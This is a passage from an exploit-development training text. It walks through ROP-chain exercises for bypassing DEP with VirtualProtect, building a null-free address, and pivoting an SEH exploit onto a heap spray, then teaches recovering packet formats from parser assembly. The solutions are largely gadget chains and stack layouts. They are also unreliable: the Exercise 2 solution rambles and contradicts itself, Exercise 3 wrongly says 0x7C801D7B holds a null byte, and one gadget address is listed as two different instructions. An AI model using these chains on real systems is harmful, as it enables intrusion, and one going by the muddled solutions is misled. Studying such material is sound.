- Where does ESP point after pop eax; ret 8 completes?
- What value ends up written to memory?

- What would happen if the padding at ESP+08 and ESP+0C were omitted?

15.13.3 Exercise 3

You have these gadgets available from a non-ASLR module:

```
0x10015442: pop eax; ret
0x10017753: pop ecx; ret
0x1001AABB: mov [ecx], eax; ret
0x10015544: pop ebx; pop ebp; ret
0x1001C001: add eax, ebx; ret
0x1001D002: push eax; ret
```

The address 0x7C801D7B (VirtualProtect) contains byte 0x00 in the high byte of the second word, and your overflow filters null bytes. Construct a chain that loads VirtualProtect's address into EAX without any null bytes in the payload, then calls it via `push eax; ret`. Show two half-values whose sum equals 0x7C801D7B and verify neither contains 0x00.

15.14 Challenge problems

15.14.1 Challenge 1

Overflow payload in hex, starting at saved return address:

```
44 55 01 10    ; ESP+00
40 00 00 00    ; ESP+04
53 77 01 10    ; ESP+08
48 A1 02 10    ; ESP+0C
BB AA 01 10    ; ESP+10
42 54 01 10    ; ESP+14
7B 1D 80 7C    ; ESP+18
CC CC CC CC    ; ESP+1C
```

Given the following gadget catalog (all from a non-ASLR module at 0x1001xxxx):

```
0x10015544: pop eax; ret
0x10015442: pop eax; ret          (duplicate at different address)
0x10017753: pop ecx; ret
0x1001AABB: mov [ecx], eax; ret
```

And: 0x7C801D7B is the address of `kernel32!VirtualProtect`.

Trace the chain step by step. What is the attacker trying to accomplish? What is missing from this chain for a complete DEP bypass?

15.14.2 Challenge 2

You are analyzing an SEH-based exploit. After the SEH handler fires, EIP lands on a `pop; pop; ret` gadget and ESP points to nSEH on the stack. The attacker's ROP chain is in a heap-sprayed

buffer at 0x0C0C0C0C.

Design a pivot strategy: which pivot gadget would you search for, what register must contain 0x0C0C0C0C, and how does execution reach the chain? Draw the stack state before and after the pivot.

15.15 Solutions with reasoning

15.15.1 Exercise 1 solution

Step-by-step trace:

1. `pop eax; ret at 0x10015442`: EAX = 0x40, ret to 0x10017753.
2. `pop ecx; ret at 0x10017753`: ECX = 0x1002A148, ret to 0x1001AABB.
3. `mov [ecx], eax; ret at 0x1001AABB`: write 0x40 to address 0x1002A148, ret to 0x10015442.
4. `pop eax; ret at 0x10015442`: EAX = 0x7C801D7B (VirtualProtect), ret to 0x10012345.
5. `push eax; ret at 0x10012345`: push 0x7C801D7B onto the stack, then `ret` pops it and transfers control to VirtualProtect.

The chain writes 0x40 (PAGE_EXECUTE_READWRITE) to a writable .data address, staging it as an argument for VirtualProtect, then redirects execution to VirtualProtect. The `push eax; ret` pattern is a standard way to call an API whose address is in a register: pushing it makes it the next return address, and `ret` “calls” it.

The chain consumes 8 stack slots (ESP+00 through ESP+1C).

15.15.2 Exercise 2 solution

After `pop eax`: EAX = 0xDEADCAFE, ESP = original+04. After `ret 8`: EIP = value at original+04... wait. Let me trace carefully.

Initial: ESP = ESP+00. `pop eax`: EAX = [ESP+00] = 0xDEADCAFE. ESP advances to ESP+04. `ret 8`: EIP = [ESP+04] = 0x41414141... that is the padding!

Correction – recount: `pop eax` pops from ESP+00, so ESP becomes +04. Then `ret 8` pops from ESP+04 (the return address), advances ESP by 4+8=12 more bytes. So `ret` pops the value at ESP+04 into EIP and then ESP = +04 + 4 + 8 = +10h.

But ESP+04 = 0xDEADCAFE (the value for EAX)... no. Let me re-trace with the actual layout:

Addr	Value
ESP+00:	0x10011234 ← initial ESP points here (first gadget address)

Execution begins by popping 0x10011234 into EIP (this happens from the previous gadget’s `ret`). Now ESP = ESP+04 when the gadget starts executing.

Wait – the layout shows ESP+00 as the gadget address. This means EIP is already at the gadget (a prior `ret` or initial overflow placed it there). When `pop eax; ret 8` executes:

- ESP points to ESP+04 (the value 0xDEADCAFE) because ESP+00 was consumed by the preceding `ret` that transferred control here.

Actually, the standard ROP convention is: ESP+00 is where ESP points when the gadget address is the next thing to execute. The ret from the previous gadget pops ESP+00 into EIP and advances ESP to +04. So when pop eax; ret 8 starts executing, ESP = +04.

- pop eax: EAX = [+04] = 0xDEADCAFE. ESP = +08.
- ret 8: EIP = [+08] = 0x41414141 (padding!). ESP = +08 + 4 + 8 = +14.

This would crash because 0x41414141 is not a valid address. The chain as shown is incorrect – the layout should have the next gadget address at ESP+08, with the padding at ESP+0C and ESP+10. This is the point of the exercise: ret 8 consumes the return address at the normal position, then skips 8 more bytes. The padding goes AFTER the return address, not before it.

Corrected layout:

```
ESP+00: 0x10011234 ; pop eax; ret 8
ESP+04: 0xDEADCAFE ; -> EAX
ESP+08: 0x10017753 ; -> EIP (return address for ret 8)
ESP+0C: 0x41414141 ; padding (first 4 bytes skipped by ret 8)
ESP+10: 0x41414141 ; padding (second 4 bytes skipped by ret 8)
ESP+14: 0x1002A000 ; -> ECX (from next gadget)
...
```

Actually, re-reading the exercise, the chain as written in the exercise IS the one students must trace. Let me trace it exactly as given:

The layout says:

```
ESP+00: 0x10011234 ; pop eax; ret 8
ESP+04: 0xDEADCAFE ; -> EAX
ESP+08: 0x41414141 ; padding
ESP+0C: 0x41414141 ; padding
ESP+10: 0x10017753 ; pop ecx; ret
ESP+14: 0x1002A000 ; -> ECX
ESP+18: 0x1001AABB ; mov [ecx], eax; ret
```

When control reaches this chain (previous ret pops ESP+00 into EIP), ESP moves to +04.

pop eax: EAX = 0xDEADCAFE (from +04). ESP = +08. ret 8: EIP = [+08] = 0x41414141. ESP = +08 + 4 + 8 = +14.

0x41414141 is the padding – this crashes. So the exercise layout has a deliberate error for the student to find? No – let me re-read.

The intent is that ret 8 pops the return address from ESP+08 AND skips 8 bytes. So: EIP = [+08], then ESP = +08 + 4 (pop) + 8 (skip) = +14. If +08 is padding, then EIP = 0x41414141 and it crashes. The CORRECT layout needs the next gadget address at +08 and padding at +0C and +10.

So the exercise answer is: ESP ends up at +14 after pop eax; ret 8. The value 0xDEADCAFE is in EAX. The chain as given would crash because the padding at ESP+08 becomes the return address. If the padding were omitted and the pop ecx; ret gadget were at ESP+08 directly, the ret 8 would skip over the ECX value and the next gadget, breaking the chain differently.

The point: `ret 8` skips bytes AFTER the return address, not before it. The correct layout puts: return address, then gap, then next gadget.

15.15.3 Exercise 3 solution

Need two values that sum to `0x7C801D7B` with no null bytes in either.

Example: `0x3C401111 + 0x40400C6A = 0x7C801D7B` Check: `3C 40 11 11` – no null bytes. Check: `40 40 0C 6A` – no null bytes. Sum: `0x3C401111 + 0x40400C6A = 0x7C801D7B`. Verified.

Chain:

```
ESP+00: 0x10015442 ; pop eax; ret
ESP+04: 0x3C401111 ; -> EAX (first half)
ESP+08: 0x10015544 ; pop ebx; pop ebp; ret
ESP+0C: 0x40400C6A ; -> EBX (second half)
ESP+10: 0x41414141 ; -> EBP (don't care, consumed by pop ebp)
ESP+14: 0x1001C001 ; add eax, ebx; ret
          ; EAX = 0x3C401111 + 0x40400C6A = 0x7C801D7B
ESP+18: 0x1001D002 ; push eax; ret -> calls VirtualProtect
```

No null bytes in any stack slot. The `pop ebx; pop ebp; ret` gadget has the side effect of clobbering EBP, but that is acceptable since EBP is not needed after this point.

15.15.4 Challenge 1 solution

The payload bytes are little-endian dword addresses. Reading them:

```
ESP+00: 0x10015544 pop eax; ret
ESP+04: 0x00000040 -> EAX = 0x40 (PAGE_EXECUTE_READWRITE)
ESP+08: 0x10017753 pop ecx; ret
ESP+0C: 0x1002A148 -> ECX = writable .data address
ESP+10: 0x1001AABB mov [ecx], eax; ret
ESP+14: 0x10015442 pop eax; ret
ESP+18: 0x7C801D7B -> EAX = VirtualProtect address
ESP+1C: 0xCCCCCCCC -> padding / int3 marker
```

The chain writes the `PAGE_EXECUTE_READWRITE` constant to a `.data` address, then loads `VirtualProtect`'s address into EAX. At `ESP+1C` the chain has `0xCCCCCCCC` (int3 breakpoints), suggesting the chain is incomplete or the attacker is debugging.

For a complete DEP bypass via `VirtualProtect(address, size, newProtect, &oldProtect)`, the chain still needs to:

- Set up the four arguments on the stack (or in the right locations).
- Point the return address of `VirtualProtect` to the shellcode.
- Provide a writable address for the `lpflOldProtect` output parameter.
- Actually transfer control to `VirtualProtect` (the current chain loads it into EAX but does not call it yet – needs a `push eax; ret` or similar).

The 0x40 value written to .data is likely being staged for later use as the flNewProtect argument when the full VirtualProtect call frame is assembled.

15.15.5 Challenge 2 solution

In an SEH exploit after POP-POP-RET, execution lands on nSEH (4 bytes). The attacker's full chain is in a heap spray at 0x0C0C0C0C.

Strategy: 1. nSEH contains a short jmp (EB 06) over the SEH handler bytes, landing in a small code region after the overwritten SEH record. 2. In that region, place instructions to load EAX with 0x0C0C0C0C: mov eax, 0x0C0C0C0C (or use xor eax, eax; add eax, 0x0C0C0C0C to avoid bad characters if needed). 3. Follow with a xchg eax, esp; ret pivot gadget address.

Before pivot:

```
ESP -> original stack (not controlled)
EAX = 0x0C0C0C0C (heap spray address)
```

After xchg eax, esp; ret:

```
ESP -> 0x0C0C0C0C (heap spray)
EAX = old ESP (don't care)
ret pops [0x0C0C0C0C] into EIP -> first ROP gadget of the chain
```

The heap spray at 0x0C0C0C0C contains the full VirtualProtect ROP chain followed by shellcode. The ret after the pivot starts executing the chain.

Alternative pivot: if EAX cannot be set to the target, use EBP with leave; ret (which does mov esp, ebp; pop ebp; ret). This requires EBP to point to the chain, which may be the case if the overflow corrupted saved EBP.

15.16 Key takeaways

- Every ROP gadget is an atomic operation that consumes stack slots: count pops + 1 for ret + N/4 for ret N.
- The complete VirtualProtect chain is the primary DEP bypass: set up 4 stdcall arguments, call the API, return to shellcode.
- PUSHAD + RET maps 7 register values onto a stdcall call frame in one instruction – the most compact way to invoke an API from a ROP chain.
- ret N creates gaps in the chain that must be padded. The return address is consumed first, then N bytes are skipped.
- Stack pivots redirect ESP to attacker-controlled memory. Critical for SEH exploits and limited-space overflows.
- Mid-instruction gadgets are found by disassembling at unaligned offsets from ret (0xC3) bytes. They provide gadgets the compiler never intended.
- Bad characters in gadget addresses require arithmetic construction, negation, or alternative gadgets from different modules.

15.17 See also

- `x86-osed-assembly-reference/13-rop-gadget-semantics.md` – detailed gadget classification and stack consumption rules.
- `x86-osed-assembly-reference/14-pushad-based-api-calls.md` – PUSHAD register to stack-slot mapping for VirtualProtect.
- `x86-osed-assembly-reference/15-dep-and-page-protections.md` – DEP, page protection constants, VirtualProtect and VirtualAlloc signatures.
- `x86-osed-assembly-reference/10-normal-call-vs-ret-based-invocation.md` – how ret-based invocation differs from normal CALL.
- `DRILLS/rop.md` – ROP chain construction practice drills.
- `Tools/rop/` – automated ROP chain building tools.
- `Tools/badchars/` – bad character identification utilities.

Chapter 16

16. Recovering File and Protocol Formats

16.1 Learning objectives

- Recover headers, magic bytes, versions, opcodes, flags, lengths, and payload boundaries from parser code.
- Distinguish file-format structure from in-memory structure.
- Use assembly evidence to build a byte-accurate format map.
- Identify parser bugs caused by trusting declared lengths or type fields.
- Design small test inputs that prove or disprove the recovered format.

16.2 Concept discussion

A parser is a contract between bytes and code. The input does not arrive as types; the program creates meaning by comparing, slicing, copying, dispatching, and rejecting bytes.

When reversing a file or protocol format, the main question is:

Which byte offsets must have which values before the parser trusts the
↪ rest?

Do not start by naming a struct. Start by building a map:

offset	width	role	evidence
+0x00	2	magic	compared against 0x5A4D
+0x02	1	version	compared with 1 and 2
+0x03	1	opcode	drives jump table
+0x04	4	body length	checked against received/file size, then used ↪ as memcpy count
+0x08	N	body	pointer computed as base+8

Names are hypotheses. Offsets, widths, constants, branches, and call arguments are facts.

16.2.1 File format vs. in-memory structure

The same assembly pattern can mean two different things:

```
cmp word ptr [esi], 4D5Ah
mov eax, [esi+3Ch]
```

If `esi` points to bytes read from disk, this is a file/header parse. If `esi` points to an allocated object built by the program, this is an in-memory structure. The distinction matters because file and wire formats are attacker controlled at the trust boundary; in-memory structures may already be validated or synthesized by trusted code.

Use pointer provenance:

- `recv`, `ReadFile`, `fread`, memory-mapped files: external bytes.
- `HeapAlloc`, constructor-like initialization, local stack object: internal representation.
- decompression or decoding output: external bytes in a transformed buffer.
- `memcpy` from an external buffer into a local object: transition from wire format to internal structure.

16.3 Common compiler patterns

- `cmp word ptr [buf], imm16`: two-byte magic or signature.
- `cmp dword ptr [buf], imm32`: four-byte magic, tag, or chunk type.
- `movzx eax, byte ptr [buf+2]`: one-byte version, type, flags, or opcode.
- `movzx eax, word ptr [buf+4]`: 16-bit length or field.
- `bswap eax`: big-endian dword conversion.
- `xchg al, ah` or `ror ax, 8`: big-endian word conversion.
- `cmp len, minimum_header_size; jb reject`: short-header gate.
- `cmp declared_len, actual_len; ja reject`: declared length must fit received data.
- `lea edx, [buf+header_size]`: body starts after fixed header.
- `add eax, header_size`: total packet/file size from body length.
- `and eax, flag_mask`: flags field.
- compare chain or jump table keyed from a byte/word: opcode dispatch.
- CRC/checksum loop before accepting body data: integrity gate.

16.4 Endianness: magic bytes tell the truth

IDA displays immediate values in numeric form, but memory stores bytes in little-endian order on x86.

```
cmp dword ptr [esi], 314F5250h
```

The bytes in the file or packet are:

```
50 52 4F 31
P R O 1
```

So the magic is "PR01", not "10RP".

For 16-bit values:

```
cmp word ptr [esi], 4B4Fh
```

The bytes are:

```
4F 4B
0 K
```

If the parser uses `ntohs`, `ntohl`, `bswap`, or manual byte shifts before comparison, the format field is likely big-endian or network-order.

16.5 Fully annotated example

Assembly first:

```
parse_packet:
    push    ebp
    mov     ebp, esp
    sub     esp, 84h
    push    esi
    push    edi

    mov     esi, [ebp+8]      ; buf
    mov     edi, [ebp+0Ch]   ; received length

    cmp     edi, 8
    jb      reject

    cmp     dword ptr [esi], 314F5250h
    jnz     reject

    movzx   eax, byte ptr [esi+4]
    cmp     eax, 2
    ja      reject

    movzx   ecx, byte ptr [esi+5]
    cmp     ecx, 4
    ja      reject
    jmp     ds:off_403000[ecx*4]

case_2:
    movzx   edx, word ptr [esi+6]
    lea     eax, [edx+8]
    cmp     eax, edi
    ja      reject

    lea     eax, [ebp-80h]
    push    edx
```

```

    lea     ecx, [esi+8]
    push    ecx
    push    eax
    call    _memcpy
    add     esp, 0Ch
    xor     eax, eax
    jmp     done

reject:
    mov     eax, 0FFFFFFFFh
done:
    pop     edi
    pop     esi
    mov     esp, ebp
    pop     ebp
    retn

```

Annotated:

```

cmp     edi, 8 / jb reject
; Minimum packet size is 8 bytes. Nothing before this point should be
;   trusted as
;   a complete field.

cmp     dword ptr [esi], 314F5250h
; Magic bytes are 50 52 4F 31, ASCII "PR01".

movzx   eax, byte ptr [esi+4]
cmp     eax, 2 / ja reject
; One-byte version at +0x04. Valid versions are 0, 1, and 2.

movzx   ecx, byte ptr [esi+5]
cmp     ecx, 4 / ja reject
jmp     ds:off_403000[ecx*4]
; One-byte opcode at +0x05. Valid opcodes are 0 through 4. It drives a jump
; table.

movzx   edx, word ptr [esi+6]
lea     eax, [edx+8]
cmp     eax, edi / ja reject
; Little-endian 16-bit body length at +0x06. Total packet size is
;   8+body_len.
; Reject if declared body extends past received data.

lea     ecx, [esi+8]
push    edx / push ecx / push eax / call _memcpy
; Body starts at +0x08. Body length is used as memcpy count.

```

Recovered format:

```
+0x00  4 bytes  magic      "PR01"
+0x04  1 byte   version    0..2
+0x05  1 byte   opcode     0..4, dispatch key
+0x06  2 bytes  body_len    little-endian uint16
+0x08  N bytes  body        N == body_len
```

Exploit note: the parser proves that `body_len` fits inside the received packet, but it does not prove that `body_len` fits inside the local destination at `[ebp-80h]`. If `body_len > 0x80`, this case handler is an overflow candidate.

16.6 Recovering a header step by step

Use this loop for unknown formats:

1. Find the first size gate.
2. Record every fixed-offset load from the input pointer.
3. Record every constant comparison.
4. Convert magic constants back to byte order.
5. Identify fields that feed branches, jump tables, loops, pointer arithmetic, or copy counts.
6. Identify the first pointer computed as `base + constant`; that constant is often the fixed header size.
7. Track declared lengths separately from actual buffer length.
8. Write the smallest valid input that reaches a later parser block.
9. Mutate one field at a time to prove each hypothesis.

The most important discipline: never merge declared length, received length, destination capacity, and loop counter into one vague word like “size.” Those are different values with different safety meanings.

16.7 Recognizing field roles

16.7.1 Magic/signature

Magic bytes are usually read early and compared to constants:

```
cmp word ptr [esi], 4142h
jnz reject
```

Little-endian bytes: 42 41, ASCII "BA".

16.7.2 Version

Versions are commonly small integers with upper-bound checks:

```
movzx eax, byte ptr [esi+4]
cmp eax, 3
ja unsupported
```

This says valid versions are 0..3, unless later code rejects version 0 or requires a minimum.

16.7.3 Opcode/type

Opcodes feed dispatch:

```
movzx ecx, byte ptr [esi+5]
cmp ecx, 7
ja reject
jmp ds:jump_table[ecx*4]
```

Record the valid range and follow each case separately. A safe opcode handler does not prove the next handler is safe.

16.7.4 Flags

Flags usually appear through masks:

```
movzx eax, byte ptr [esi+6]
test eax, 4
jnz compressed_path
and eax, 1
jnz authenticated_path
```

Here +0x06 is not a plain enum; it is a bit field. Record each bit as a separate hypothesis until code proves the role.

16.7.5 Lengths and offsets

Length fields are dangerous because they turn data into pointer arithmetic:

```
mov ecx, [esi+8]
lea edx, [esi+10h]
push ecx
push edx
push edi
call _memcpy
```

The field at +0x08 is not merely “some dword.” It is a count passed to memcpy. Now ask:

- Was it checked against actual input size?
- Was it checked against destination capacity?
- Was it sign-extended or zero-extended?
- Was a header size added, and can that addition overflow?
- Was it truncated from dword to word or byte?

16.7.6 Checksums and CRCs

Integrity checks often look like a loop over the input followed by a comparison with a header field:

```

xor     eax, eax
xor     ecx, ecx
loop_crc:
    movzx    edx, byte ptr [esi+ecx]
    xor     eax, edx
    inc     ecx
    cmp     ecx, [ebp-4]
    jb      loop_crc
cmp     eax, [esi+0Ch]
jnz     reject

```

You do not need to name the algorithm immediately. First record:

- start offset
- number of bytes covered
- initial value
- update operation
- stored/check field offset

16.8 WinDbg verification

After recovering a tentative format, prove it with small inputs.

Break at the parser:

```

0:000> bp app!parse_packet
0:000> g
0:000> dd esp L4
0:000> db poi(esp+4) L poi(esp+8)

```

At a copy call:

```

0:000> bp app!memcpy ".printf \"dst=%p src=%p
↪  n=%x\\n\\n\",poi(esp+4),poi(esp+8),poi(esp+c);db poi(esp+8) L20;g"

```

Useful test inputs:

Bad magic	proves the signature gate.
Short header	proves the minimum size gate.
Bad opcode	proves dispatch range.
Body len = 0	proves empty payload handling.
Body len = 1	proves body offset.
Body len = max	probes capacity assumptions.
Declared > real	proves actual-length validation.

For a network protocol, do not send a raw cyclic pattern until the format is valid enough to reach the vulnerable operation. A framed service may reject the input before the copy ever runs.

16.9 Practice drill

Take one parser function and fill this in before writing pseudocode:

```
Input pointer:
Actual input length:
Minimum accepted length:

Recovered header:
+0x00:
+0x01:
+0x02:
+0x04:
+0x08:

Magic bytes:
Version rules:
Opcode/type rules:
Flags:
Declared lengths:
Body offset:
Body length:

First dangerous use of a field:
Missing validation, if any:
Smallest valid input:
Next dynamic proof:
```

16.10 Review checklist

Before trusting your recovered format, verify:

- Every fixed offset has a width and evidence source.
- Every immediate constant has been converted through little-endian memory order when it represents bytes.
- Declared lengths are separated from actual input length and destination capacity.
- Dispatch fields are mapped to every reachable handler.
- Rejected paths and success paths are both understood.
- Checksums, compression, or decoding steps are recorded before downstream parser analysis.
- At least one small valid input reaches the expected handler.
- At least one bad input fails at the expected gate.